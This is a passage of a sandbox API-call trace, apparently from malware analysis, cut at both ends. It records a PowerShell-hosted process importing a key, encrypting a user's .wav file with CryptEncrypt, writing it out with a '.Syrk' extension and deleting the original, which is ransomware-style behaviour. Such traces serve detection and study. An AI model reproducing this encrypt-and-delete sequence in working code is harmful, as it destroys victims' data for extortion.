phProv=0x5a2e630*=0x5c4cd48) returned 1 [0235.147] CryptImportKey (in: hProv=0x5c4cd48, pbData=0x23eaab8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c694c0) returned 1 [0235.148] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.148] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.148] EtwEventActivityIdControl () returned 0x0 [0235.148] EtwEventActivityIdControl () returned 0x0 [0235.148] EtwEventActivityIdControl () returned 0x0 [0235.155] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\xxq4gabra0w.wav")) returned 0x20 [0235.156] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\xxq4gabra0w.wav")) returned 0x20 [0235.156] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0235.156] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", lpFilePart=0x0) returned 0x4f [0235.157] EtwEventActivityIdControl () returned 0x0 [0235.157] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.157] EtwEventActivityIdControl () returned 0x0 [0235.158] EtwEventActivityIdControl () returned 0x0 [0235.158] EtwEventActivityIdControl () returned 0x0 [0235.158] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0235.158] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", lpFilePart=0x0) returned 0x4f [0235.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0235.159] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\xxq4gabra0w.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0235.159] GetFileType (hFile=0x454) returned 0x1 [0235.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0235.159] GetFileType (hFile=0x454) returned 0x1 [0235.159] EtwEventActivityIdControl () returned 0x0 [0235.159] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.160] EtwEventActivityIdControl () returned 0x0 [0235.160] EtwEventActivityIdControl () returned 0x0 [0235.160] EtwEventActivityIdControl () returned 0x0 [0235.160] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0235.160] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav.Syrk", nBufferLength=0x55, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav.Syrk", lpFilePart=0x0) returned 0x54 [0235.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0235.161] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\xxq4gabra0w.wav.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0235.161] GetFileType (hFile=0x458) returned 0x1 [0235.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0235.161] GetFileType (hFile=0x458) returned 0x1 [0235.161] EtwEventActivityIdControl () returned 0x0 [0235.162] CryptGenRandom (in: hProv=0x5c4cd48, dwLen=0x10, pbBuffer=0x23ff3fc | out: pbBuffer=0x23ff3fc) returned 1 [0235.162] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.162] CryptDuplicateKey (in: hKey=0x5c694c0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c69500) returned 1 [0235.163] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.163] CryptSetKeyParam (hKey=0x5c69500, dwParam=0x4, pbData=0x2400728*=0x1, dwFlags=0x0) returned 1 [0235.163] CryptSetKeyParam (hKey=0x5c69500, dwParam=0x1, pbData=0x24006f4, dwFlags=0x0) returned 1 [0235.163] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.163] EtwEventActivityIdControl () returned 0x0 [0235.163] EtwEventActivityIdControl () returned 0x0 [0235.163] EtwEventActivityIdControl () returned 0x0 [0235.164] EtwEventActivityIdControl () returned 0x0 [0235.164] ReadFile (in: hFile=0x454, lpBuffer=0x2403370, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2403370*, lpNumberOfBytesRead=0x5a2e7d8*=0x20c9, lpOverlapped=0x0) returned 1 [0235.165] CryptEncrypt (in: hKey=0x5c69500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2417388*, pdwDataLen=0x5a2e7cc*=0x20c0, dwBufLen=0x20c0 | out: pbData=0x2417388*, pdwDataLen=0x5a2e7cc*=0x20c0) returned 1 [0235.166] WriteFile (in: hFile=0x458, lpBuffer=0x23ff4d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23ff4d8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0235.167] WriteFile (in: hFile=0x458, lpBuffer=0x2418374*, nNumberOfBytesToWrite=0x10d4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2418374*, lpNumberOfBytesWritten=0x5a2e7b0*=0x10d4, lpOverlapped=0x0) returned 1 [0235.167] ReadFile (in: hFile=0x454, lpBuffer=0x2403370, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2403370*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0235.167] CryptEncrypt (in: hKey=0x5c69500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2419454*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2419454*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0235.167] CryptEncrypt (in: hKey=0x5c69500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2419470*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2419470*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0235.167] WriteFile (in: hFile=0x458, lpBuffer=0x23ff4d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23ff4d8*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0235.167] CloseHandle (hObject=0x458) returned 1 [0235.169] CloseHandle (hObject=0x454) returned 1 [0235.169] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.170] EtwEventActivityIdControl () returned 0x0 [0235.170] EtwEventActivityIdControl () returned 0x0 [0235.170] EtwEventActivityIdControl () returned 0x0 [0235.175] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\xxq4gabra0w.wav")) returned 0x20 [0235.177] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0235.177] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", lpFilePart=0x0) returned 0x4f [0235.177] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0235.177] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0235.177] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0235.177] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0235.177] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0235.177] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0235.178] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0235.178] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0235.178] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0235.178] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0235.178] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0235.178] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0235.178] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0235.178] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0235.178] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0235.178] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0235.178] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0235.178] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0235.179] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0235.179] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0235.179] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0235.179] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0235.179] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0235.179] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0235.179] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn")) returned 0x10 [0235.179] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn")) returned 0x10 [0235.179] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0235.179] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn", lpFilePart=0x0) returned 0x3f [0235.179] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\xxq4gabra0w.wav")) returned 0x20 [0235.180] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0235.180] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", lpFilePart=0x0) returned 0x4f [0235.182] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0235.182] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", lpFilePart=0x0) returned 0x4f [0235.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0235.182] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0235.182] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", lpFilePart=0x0) returned 0x4f [0235.182] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\xxq4gabra0w.wav\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0235.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0235.183] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0235.183] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0235.183] CoTaskMemFree (pv=0x5c9b950) [0235.184] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\xxq4gabra0w.wav")) returned 0x20 [0235.184] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0235.184] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav", lpFilePart=0x0) returned 0x4f [0235.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0235.184] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\xxq4gabra0w.wav"), fInfoLevelId=0x0, lpFileInformation=0x242a74c | out: lpFileInformation=0x242a74c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0f53270, ftCreationTime.dwHighDateTime=0x1d98e23, ftLastAccessTime.dwLowDateTime=0xd1e6ad0, ftLastAccessTime.dwHighDateTime=0x1d998da, ftLastWriteTime.dwLowDateTime=0xd1e6ad0, ftLastWriteTime.dwHighDateTime=0x1d998da, nFileSizeHigh=0x0, nFileSizeLow=0x20c9)) returned 1 [0235.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0235.185] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\xxq4gabra0w.wav")) returned 1 [0235.186] EtwEventActivityIdControl () returned 0x0 [0235.186] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.187] EtwEventActivityIdControl () returned 0x0 [0235.187] EtwEventActivityIdControl () returned 0x0 [0235.187] EtwEventActivityIdControl () returned 0x0 [0235.193] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\xxq4gabra0w.wav.syrk")) returned 0x20 [0235.194] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\xxq4gabra0w.wav.syrk")) returned 0x20 [0235.194] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0235.194] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav.Syrk", nBufferLength=0x55, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav.Syrk", lpFilePart=0x0) returned 0x54 [0235.194] EtwEventActivityIdControl () returned 0x0 [0235.195] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.195] EtwEventActivityIdControl () returned 0x0 [0235.195] EtwEventActivityIdControl () returned 0x0 [0235.195] EtwEventActivityIdControl () returned 0x0 [0235.198] EtwEventActivityIdControl () returned 0x0 [0235.198] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.198] EtwEventActivityIdControl () returned 0x0 [0235.198] EtwEventActivityIdControl () returned 0x0 [0235.199] EtwEventActivityIdControl () returned 0x0 [0235.202] EtwEventActivityIdControl () returned 0x0 [0235.202] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.202] EtwEventActivityIdControl () returned 0x0 [0235.202] EtwEventActivityIdControl () returned 0x0 [0235.202] EtwEventActivityIdControl () returned 0x0 [0235.205] EtwEventActivityIdControl () returned 0x0 [0235.205] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.206] EtwEventActivityIdControl () returned 0x0 [0235.206] EtwEventActivityIdControl () returned 0x0 [0235.206] EtwEventActivityIdControl () returned 0x0 [0235.208] EtwEventActivityIdControl () returned 0x0 [0235.209] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.209] EtwEventActivityIdControl () returned 0x0 [0235.209] EtwEventActivityIdControl () returned 0x0 [0235.209] EtwEventActivityIdControl () returned 0x0 [0235.212] EtwEventActivityIdControl () returned 0x0 [0235.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0235.215] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\XXq4gabRA0W.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\xxq4gabra0w.wav.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2439354 | out: lpFileInformation=0x2439354*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x807dd80, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x807dd80, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x807dd80, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x20e4)) returned 1 [0235.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0235.216] GetConsoleOutputCP () returned 0x1b5 [0235.216] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.216] GetConsoleOutputCP () returned 0x1b5 [0235.216] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.216] GetConsoleOutputCP () returned 0x1b5 [0235.216] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, 